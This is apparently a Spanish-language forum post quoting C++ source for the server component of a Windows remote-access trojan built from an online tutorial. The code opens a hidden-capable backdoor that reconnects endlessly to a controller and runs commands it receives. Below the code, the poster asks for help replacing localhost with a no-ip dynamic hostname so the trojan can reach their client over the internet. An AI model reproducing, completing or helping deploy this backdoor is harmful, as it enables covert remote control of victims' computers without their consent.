#include <winsock2.h>
#include <windows.h>
#include <string>
#include "c:/Dev-Cpp/Módulos/funVarias.h"
#include "c:/Dev-Cpp/Módulos/mensajes.h"
#pragma comment(lib,"ws2_32.lib") //Para linkear la libreria del winsock
int main(void)
{
//ShowWindow(GetForegroundWindow(),SW_HIDE); //Esta linea sirve para ocultar la consola y poner el programa como proceso. Por ahora la dejamos asi.
WSADATA wsa; //Si no sabes que es todo esto, leete mejor el manual xDD
SOCKET sock;
struct hostent *host;
struct sockaddr_in direc;
int conex;
char Buffer[1024];
int len;
//Inicializamos
WSAStartup(MAKEWORD(2,2),&wsa);
//Establememos el dominio donde nos conectaremos, por ahora ponemos 127.0.0.1 para hacer las pruevas
host=gethostbyname("localhost"); //localhost = 127.0.0.1 ;P
//creamos el socket
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (sock==-1)
{
//Si se produce un error al crear el socket
main(); //Llamamos de nuevo a la función principal para seguir intentandolo
}
//Definimos la dirección a conectar que hemos recibido desde el gethostbyname
//y decimos que el puerto al que deberá conectar
direc.sin_family=AF_INET;
direc.sin_port=htons(1234); //Elegimos un puerto cualkiera, mas adelante esto lo elegirá el usuario cuando hagamos el server edit
direc.sin_addr = *((struct in_addr *)host->h_addr);
memset(direc.sin_zero,0,8);
//Intentamos establecer la conexión hasta que lo logremos
conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr));
while (conex==-1)
{ //Esto es lo que hará si no se puede conetar:
Sleep(100); //Hacemos q el programa se detenga un poco, cuando se termine el troyano conviene subir este intervalo
//Por ahora lo dejamos asi para hacer mas comodas las pruevas
conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr)); //He intentamos establecer la conexión de nuevo hasta que lo logremos.
}
len=send(sock,"hola",4,0); //Como somos muy educados saludamos xDD el 4 despues del hola indica el nº de
//caracteres a enviar
while (len!=0) //Mientras que permanezcamoos conectados
{
len = recv(sock,Buffer,1023,0); //Recibimos los datos que envie
std::string sBuffer(Buffer);
if (len>0) //Si seguimos conectados...
{
Buffer[len]=0; //Ponemos los datos recibidos al final de la cadena
if (Split(sBuffer, '|', 0) == "mensj")
{
//Llamamos a la funcion q muestra los mensajes
mostrarMsj(Split(sBuffer, '|', 1),Split(sBuffer, '|', 2), Split(sBuffer, '|', 3));
}
}
}
main(); //Cuando nos desconectamos volvemos a llamar a main para q siga intentando conectarse
return 0;
}
Si este es el codigo del tuto de EON. Simplemente lo q quiero hacer es cambiar el localhost a un no-ip. pero no lo logro hacer funcar, cambio el localhost por mi no-ip y abro el puerto indicado desde mi router. Pero en el cliente no aparesco.